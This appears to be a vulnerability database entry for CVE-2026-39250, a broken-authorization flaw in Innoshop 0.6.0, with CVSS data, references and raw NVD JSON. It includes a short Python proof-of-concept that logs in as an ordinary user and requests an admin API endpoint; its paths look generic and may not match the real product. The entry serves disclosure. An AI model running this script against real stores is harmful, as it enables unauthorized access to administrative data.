CVE-2026-39250

Description

An authorization vulnerability exists in Innoshop 0.6.0. After logging into the frontend, an attacker can directly access backend application interfaces, leading to further dangerous operations.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Innoshop 0.6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target = "http://target.com"
login_url = f"{target}/login"
admin_api = f"{target}/admin/api/settings"

# Login as normal user
s = requests.Session()
data = {"user": "test", "pass": "test"}
s.post(login_url, data=data)

# Access backend directly using frontend session
resp = s.get(admin_api)

if resp.status_code == 200:
    print("[+] Exploit Success! Bypassed authorization.")
    print(resp.text)
else:
    print("[-] Exploit Failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39250
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39250
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39250/
[4] VulDB https://vuldb.com/cve/CVE-2026-39250
[5] https://gist.github.com/hkdmh/4af513ea7589212cb1d49bc5d972972e
[6] https://www.innoshop.com/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39250", "sourceIdentifier": "[email protected]", "published": "2026-05-19T21:16:42.863", "lastModified": "2026-05-20T14:25:17.977", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization vulnerability exists in Innoshop 0.6.0. After logging into the frontend, an attacker can directly access backend application interfaces, leading to further dangerous operations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://gist.github.com/hkdmh/4af513ea7589212cb1d49bc5d972972e", "source": "[email protected]"}, {"url": "https://www.innoshop.com/", "source": "[email protected]"}]}}